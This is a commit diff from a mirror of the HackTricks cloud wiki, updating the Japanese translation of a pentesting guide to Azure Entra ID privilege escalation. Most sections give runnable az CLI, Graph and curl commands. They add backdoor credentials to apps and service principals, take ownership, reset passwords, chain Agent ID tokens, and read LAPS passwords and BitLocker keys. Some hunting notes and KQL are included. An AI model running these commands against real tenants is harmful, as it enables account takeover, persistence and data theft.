mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+81
-50
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> **Entra ID** の組み込みロールにある**すべての詳細権限**が、カスタムロールで使用できる**適格**なものではないことに注意してください。
|
||||
> **Entra ID** の組み込みロールが持つ**すべての詳細権限**が、カスタムロールで使用できる**候補になるわけではない**ことに注意してください。
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
このロールには、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細権限が含まれています。どちらの操作も権限昇格に悪用できます。
|
||||
このロールには、principal にロールを割り当てたり、ロールにさらに権限を与えたりするために必要な詳細権限が含まれています。どちらの操作も権限昇格に悪用できます。
|
||||
|
||||
- ユーザーにロールを割り当てる:
|
||||
```bash
|
||||
@@ -48,26 +48,57 @@ az rest --method PATCH \
|
||||
]
|
||||
}'
|
||||
```
|
||||
## アプリケーション
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
これにより、攻撃者は既存のアプリケーションに**credentialsを追加**(passwordsまたはcertificates)できます。アプリケーションに特権的なpermissionsがある場合、攻撃者はそのアプリケーションとして認証し、それらの特権を得ることができます。
|
||||
これにより、攻撃者は既存のアプリケーションに**資格情報を追加**(パスワードまたは証明書)できます。アプリケーションに特権権限がある場合、攻撃者はそのアプリケーションとして認証し、それらの権限を取得できます。
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/allProperties/update`
|
||||
|
||||
この権限は、**単一テナント**の application registration (`signInAudience = AzureADMyOrg`) の**書き込み可能なすべてのプロパティ**を更新できます。これには `passwordCredentials` と `keyCredentials` も含まれます。カタログでは `IsPrivileged: true` とされていますが、組み込み role には**存在しません**。これはほぼ例外なく、admin が「社内 apps を管理する」を委任するために作成した**custom roles** にのみ現れますが、サブタイプ `.myOrganization` が、結果的に privileged Microsoft Graph permissions を持っている可能性が最も高い apps の集合に対して action をスコープしてしまうことに気づいていない場合があります。
|
||||
|
||||
- privileged Microsoft Graph permissions が consented されている apps を列挙する:
|
||||
```bash
|
||||
# SPs with at least one Microsoft Graph app role assigned
|
||||
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
|
||||
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
|
||||
-o table
|
||||
|
||||
# Resolve a RoleId to the human-readable permission name
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
|
||||
--query "appRoles[?id=='<RoleId>'].value" -o tsv
|
||||
```
|
||||
- ターゲットが single-tenant であることを確認する(`.myOrganization` subtype scope 内):
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
|
||||
--query "{audience:signInAudience, name:displayName}"
|
||||
# audience must be "AzureADMyOrg"
|
||||
```
|
||||
- credentialをターゲットアプリにinjectする — チェーン内で唯一の特権ステップ:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"passwordCredential":{"displayName":"backdoor"}}'
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
これは `applications/credentials/update` と同じ操作を許可しますが、single-directory applications にスコープされます。
|
||||
これにより、`applications/credentials/update` と同じ操作が可能ですが、単一ディレクトリ application にスコープされます。
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
自分自身を owner に追加することで、攻撃者は credentials や permissions を含む application を操作できる。
|
||||
自分自身を owner として追加することで、攻撃者は credentials や permissions を含む application を操作できる。
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
攻撃者は、テナントのユーザーによって使用されているアプリケーションに redirect URI を追加し、その新しい redirect URL を使った login URLs をユーザーに共有することで、彼らの token を盗むことができます。なお、ユーザーがすでにそのアプリケーションにログインしていた場合、認証は自動的に行われ、ユーザーが何かを承諾する必要はありません。
|
||||
攻撃者は、テナントのユーザーが使用しているアプリケーションに redirect URI を追加し、その新しい redirect URL を使う login URL を共有することで、トークンを盗むことができます。ユーザーがすでにそのアプリケーションに login していた場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
|
||||
|
||||
また、アプリケーションが要求する permissions を変更して、より多くの permissions を取得することも可能です。ただし、この場合は、すべての permissions について再度承諾を求める prompt をユーザーが accept する必要があります。
|
||||
また、application が要求する permissions を変更して、より多くの permissions を得ることも可能です。ただし、この場合、ユーザーはすべての permissions を求める prompt を再度 accept する必要があります。
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,13 +119,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、`Application` 型の **API permissions** を割り当てられたデフォルトのアプリケーションを見つけるのは非常に一般的でした。`Application` 型の API Permission(Entra ID コンソールでの呼び名)は、そのアプリケーションがユーザーコンテキストなしで(アプリにユーザーがログインしていなくても)、かつそれを許可する Entra ID roles を必要とせずに API にアクセスして操作を実行できることを意味します。したがって、**すべての Entra ID tenant で高権限のアプリケーションを見つけることは非常に一般的**です。
|
||||
**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、**`Application`** 型の **API permissions** を割り当てられた default applications を見つけることは非常によくありました。`Application` 型の API Permission(Entra ID console での呼称)は、その application が user context なしで(app に user login せずに)、かつそれを許可するための Entra ID roles も必要とせずに API にアクセスして actions を実行できることを意味します。したがって、**各 Entra ID tenant で高権限の applications を見つけることは非常に一般的**です。
|
||||
|
||||
次に、攻撃者がアプリケーションの **credentials (secret o certificate)** を **update** できる任意の permission/role を持っている場合、攻撃者は新しい credential を生成し、それを使って **application として認証** でき、アプリケーションが持つすべての permissions を取得できます。
|
||||
その後、attacker が application の **credentials(secret o certificate)を update する** ための permission/role を持っていれば、attacker は新しい credential を生成し、それを使って **application として authenticate** でき、application が持つすべての permissions を得られます。
|
||||
|
||||
なお、前述の blog では一般的な Microsoft のデフォルトアプリケーションのいくつかの **API permissions** が共有されていますが、この報告の後しばらくして Microsoft はこの問題を修正し、現在では Microsoft applications として login することはできません。しかし、**悪用可能な高権限の custom applications** を見つけることは依然として可能です。
|
||||
なお、前述の blog では一般的な Microsoft default applications の **API permissions** の一部が共有されていますが、この報告のしばらく後に Microsoft はこの issue を修正し、現在は Microsoft applications として login することはできなくなっています。ただし、**悪用可能な高権限の custom applications** を見つけることは今でも可能です。
|
||||
|
||||
アプリケーションの API permissions を列挙する方法:
|
||||
How to enumerate the API permissions of an application:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
@@ -241,28 +272,28 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格した privileges がある場合、攻撃者はその privileges を引き継ぐことができます。
|
||||
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格された privileges がある場合、攻撃者はその privileges を引き受けることができます。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 新しく生成された password は web console に表示されないため、service principal の永続化を stealth に維持する方法になり得ます。\
|
||||
> API からは次のように見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> 新しく生成された password は web console に表示されないため、service principal に対する persistence を維持する stealth な方法になり得ます。\
|
||||
> API からは次で見つけられます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` それは **SP の passwordCredentials property を変更できない** ためで、まず unlock する必要があるからです。そのためには、これを実行できる permission (`microsoft.directory/applications/allProperties/update`) が必要です:
|
||||
`"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` というエラーが出る場合、それは **SP の passwordCredentials property を変更できない** ためで、先に unlock する必要があるからです。これには、それを実行できる permission (`microsoft.directory/applications/allProperties/update`) が必要です:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
|
||||
|
||||
**Agent identity blueprints** は application objects であり、各 blueprint は tenant に **agent identity blueprint principal** も作成します。**Agent identities** は、その blueprint path から派生した service-principal-derived 子です。したがって、攻撃者が **blueprint に password/certificate を追加**できるか、すでにその credential の1つを盗んでいる場合、後で **blueprint principal** として認証し、子の agent identities 用の tokens を要求できます。
|
||||
**Agent identity blueprints** は application objects であり、各 blueprint は tenant 内に **agent identity blueprint principal** も作成します。**Agent identities** は、その blueprint path から派生した service-principal-derived children です。したがって、攻撃者が **blueprint に password/certificate を追加**できるか、すでにその credential の1つを盗んでいる場合、後で **blueprint principal** として認証し、child agent identities 用の token を要求できます。
|
||||
|
||||
これにより、悪い Entra Agent ID の role assignment が、次の2つの両方になります:
|
||||
これにより、悪い Entra Agent ID role assignment が次の両方になります:
|
||||
|
||||
- **Persistence**: 新しい `passwordCredential` は削除されるまで blueprint に残る
|
||||
- **Privilege escalation**: 低信頼/dev agent が別の高信頼 blueprint に横断し、その子 agent として動作できる
|
||||
- **Persistence**: 新しい `passwordCredential` は削除されるまで blueprint 上に残る
|
||||
- **Privilege escalation**: 低信頼/dev agent が別の高信頼 blueprint に横断し、その child agents として動作できる
|
||||
|
||||
典型的な危険な path は次のとおりです:
|
||||
典型的に危険な path は次の通りです:
|
||||
|
||||
- **`AgentIdentityBlueprint.AddRemoveCreds.All`** を持つ compromised agent identity
|
||||
- blueprint を管理できる compromised owner/sponsor/admin
|
||||
@@ -275,12 +306,12 @@ az rest --method POST \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
|
||||
```
|
||||
または Microsoft Graph PowerShell を使用して:
|
||||
または Microsoft Graph PowerShell で:
|
||||
```powershell
|
||||
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
|
||||
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
|
||||
```
|
||||
新しい資格情報が受け入れられた場合は、**blueprint principal** として認証し、Agent ID token exchange を悪用します。最初のリクエストでは blueprint credential を使用し、**`fmi_path`** を対象の agent identity に設定します。返された token はその後、**JWT bearer `client_assertion`** として再利用され、その agent identity 用の Microsoft Graph token を取得します。
|
||||
新しい credential が受け入れられた場合、**blueprint principal** として authenticate し、Agent ID token exchange を abuse する。最初の request では blueprint credential を使用し、**`fmi_path`** を target agent identity に設定する。返された token は、その後 **JWT bearer `client_assertion`** として再利用され、その agent identity に対する Microsoft Graph token を取得する。
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
--data-urlencode 'scope=https://graph.microsoft.com/.default'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> もし **dev** blueprint またはその子agentが **prod** blueprint に credentials を追加できるなら、攻撃者は想定される blueprint/agent の trust boundary を越え、対象の agent infrastructure への永続的なアクセスを獲得します。
|
||||
> もし **dev** blueprint またはその子 agent が **prod** blueprint に credentials を追加できるなら、攻撃者は想定された blueprint/agent の trust boundary を越え、対象の agent infrastructure への durable access を得る。
|
||||
|
||||
Quick validation / scoping:
|
||||
```powershell
|
||||
@@ -316,27 +347,27 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
|
||||
Hunting notes:
|
||||
|
||||
- [Az - Monitoring](../../az-services/az-monitoring.md) で **`Update application – Certificates and secrets management`** を探す
|
||||
- **`AuditLogs`**、**`MicrosoftGraphActivityLogs`**、**`AADServicePrincipalSignInLogs`** を、time、service principal ID、user-agent、IP、`SignInActivityId` / `UniqueTokenIdentifier` で相関させる
|
||||
- `MicrosoftGraphActivityLogs` では、**`/applications/<id>/microsoft.graph.addPassword`** で終わる `RequestUri` と、`Roles` に **`AgentIdentityBlueprint.AddRemoveCreds.All`** が含まれているかを確認する
|
||||
- 時刻、service principal ID、user-agent、IP、`SignInActivityId` / `UniqueTokenIdentifier` を使って **`AuditLogs`**、**`MicrosoftGraphActivityLogs`**、**`AADServicePrincipalSignInLogs`** を相関させる
|
||||
- `MicrosoftGraphActivityLogs` では、**`/applications/<id>/microsoft.graph.addPassword`** で終わる **`RequestUri`** と、`Roles` に **`AgentIdentityBlueprint.AddRemoveCreds.All`** が含まれているかを確認する
|
||||
- `AADServicePrincipalSignInLogs` では、`ServicePrincipalCredentialKeyId`、`ClientCredentialType`、`Agent.agentType`、および新しい key が後で使用されたかを確認する
|
||||
|
||||
新しく追加された secret が認証に使われたかを確認するための Minimal KQL:
|
||||
追加された secret が認証に使われたかを確認する最小限の KQL:
|
||||
```kusto
|
||||
AADServicePrincipalSignInLogs
|
||||
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
|
||||
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
|
||||
```
|
||||
これは generic [application credential abuse](../../az-services/az-azuread.md#applications) と [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) に関連していますが、Entra Agent ID は、blueprint credential を **別の agent identity token** に交換できる第2段階を追加します。
|
||||
これは generic [application credential abuse](../../az-services/az-azuread.md#applications) と [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) に関連していますが、Entra Agent ID は第2段階を追加し、blueprint credential を **異なる agent identity token** に交換できます。
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
これにより、攻撃者は既存の service principals に credential を追加できます。service principal に昇格した privileges がある場合、攻撃者はそれらの privileges を引き継げます。
|
||||
これにより、攻撃者は既存の service principals に credentials を追加できます。service principal に昇格された権限がある場合、攻撃者はその権限を引き継げます。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
applications と同様に、この permission により service principal にさらに owner を追加できます。service principal を所有すると、その credentials と permissions を control できます。
|
||||
applications と同様に、この permission により service principal にさらに owners を追加できます。service principal を owning すると、その credentials と permissions を制御できます。
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 新しい owner を追加した後、それを削除しようとしましたが、API は DELETE method がサポートされていないと返しました。削除にはその method を使う必要があるにもかかわらずです。なので、現在は **owners を削除できません**。
|
||||
> 新しい owner を追加した後、それを削除しようとしましたが、API は DELETE メソッドがサポートされていないと応答しました。削除するにはそのメソッドを使う必要があるにもかかわらずです。つまり、**現在は owner を削除できません**。
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
これらの permissions は service principals を disable および enable することを可能にします。攻撃者は、この permission を使って、何らかの方法でアクセスできる service principal を enable し、権限昇格に利用できる可能性があります。
|
||||
これらの permissions は service principals を無効化および有効化できます。攻撃者は、この permission を使って、何らかの方法でアクセスできた service principal を有効化し、権限昇格に利用できる可能性があります。
|
||||
|
||||
この technique では、enable された service principal を takeover するために、攻撃者は追加の permissions が必要になる点に注意してください。
|
||||
この technique では、有効化した service principal を takeover するために、攻撃者は追加の permissions が必要になる点に注意してください。
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
これらの権限により、シングルサインオンの資格情報を作成および取得できます。これによって、サードパーティアプリケーションへのアクセスが可能になる場合があります。
|
||||
これらの権限により、single sign-on の credentials を作成および取得でき、サードパーティの applications へのアクセスにつながる可能性があります。
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -396,30 +427,30 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
この権限により、ユーザーを privileged groups に追加でき、privilege escalation につながります。
|
||||
この権限により、ユーザーを特権グループに追加でき、結果として privilege escalation につながります。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Note**: この権限は Entra ID の role-assignable groups を除外します。
|
||||
**注**: この permission には Entra ID role-assignable groups は含まれません。
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
この権限により、groups の owner になれます。group の owner は group membership と settings を制御できるため、group への privilege escalation につながる可能性があります。
|
||||
この permission により、groups の owner になることができます。group の owner は group membership と settings を制御できるため、group への privilege escalation につながる可能性があります。
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**注**: この権限は Entra ID role-assignable groups を除外します。
|
||||
**注**: この permission は Entra ID role-assignable groups を除外します。
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
この権限は、group に members を追加することを許可します。攻撃者は、自分自身や malicious accounts を privileged groups に追加して、昇格した access を得ることができます。
|
||||
この permission は group に member を追加できます。攻撃者は自分自身や悪意のある accounts を privileged groups に追加して、elevated access を得られます。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
この権限は、dynamic group の membership rule を更新できます。攻撃者は dynamic rule を変更して、明示的な追加なしに自分自身を privileged groups に含めることができます。
|
||||
この permission により、dynamic group の membership rule を更新できます。攻撃者は dynamic rules を変更して、明示的に追加されることなく自分自身を privileged groups に含めることができます。
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -430,11 +461,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**注**: この権限は Entra ID role-assignable groups を除外します。
|
||||
**Note**: この permission は Entra ID role-assignable groups を除外します。
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
ユーザーが自分自身のプロパティを変更して dynamic groups のメンバーに追加され、権限昇格できる可能性があります。詳細は次を確認してください:
|
||||
ユーザーが自分自身の properties を変更して dynamic groups の member として追加されることで、privileges を escalation できる可能性があります。詳細は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -444,7 +475,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
この権限により、non-admin users のパスワードを reset でき、攻撃者が他のユーザーへ privilege escalation する可能性があります。この権限は custom roles に割り当てることはできません。
|
||||
この permission により、non-admin users の password を reset できるため、攻撃者が他の users へ privileges を escalation できる可能性があります。この permission は custom roles には assign できません。
|
||||
```bash
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
@@ -464,7 +495,7 @@ az rest --method PATCH \
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
この権限により、user のプロパティを変更できます。プロパティ値に基づいて user を追加する dynamic groups を見つけることは一般的であるため、この permission によって user は特定の dynamic group の member になるために必要なプロパティ値を設定し、privileges を escalate できる可能性があります。
|
||||
この権限により、ユーザーのプロパティを変更できます。プロパティ値に基づいてユーザーを追加する dynamic groups はよく見つかるため、この権限があれば、ユーザーは特定の dynamic group のメンバーになるために必要なプロパティ値を設定でき、権限を昇格できる可能性があります。
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -482,7 +513,7 @@ az rest --method PATCH \
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
MFA を要求する misconfigured な conditional access policies は bypass される可能性があります。確認してください:
|
||||
誤設定された MFA を要求する conditional access policies は bypass される可能性があります。確認してください:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
この permission により、attacker は自分自身を device の owner として assign し、device-specific な settings や data への control や access を得ることができます。
|
||||
この permission により、attacker は自分自身を device の owner として割り当て、device-specific settings や data への control や access を得ることができます。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -503,7 +534,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
この権限により、攻撃者は自分のアカウントをデバイスに関連付けてアクセス権を取得したり、セキュリティポリシーを回避したりできます。
|
||||
この権限により、攻撃者は自分のアカウントをデバイスに関連付けてアクセス権を得たり、セキュリティポリシーを回避したりできます。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -514,7 +545,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
この権限により、攻撃者は Microsoft Entra joined devices のバックアップされたローカル administrator アカウント credentials のプロパティを読み取ることができ、password を含みます
|
||||
この権限により、攻撃者は Microsoft Entra joined devices のバックアップされた local administrator account credentials のプロパティを読み取ることができ、password も含まれます
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -529,7 +560,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
この permission により BitLocker keys にアクセスでき、攻撃者がドライブを復号化して data confidentiality を侵害できる可能性があります。
|
||||
この権限により BitLocker keys へのアクセスが可能になり、攻撃者がドライブを復号できるようになる可能性があり、データの機密性が損なわれます。
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -540,7 +571,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## 他の興味深い permissions (TODO)
|
||||
## その他の興味深い permissions(TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
|
||||
Reference in New Issue
Block a user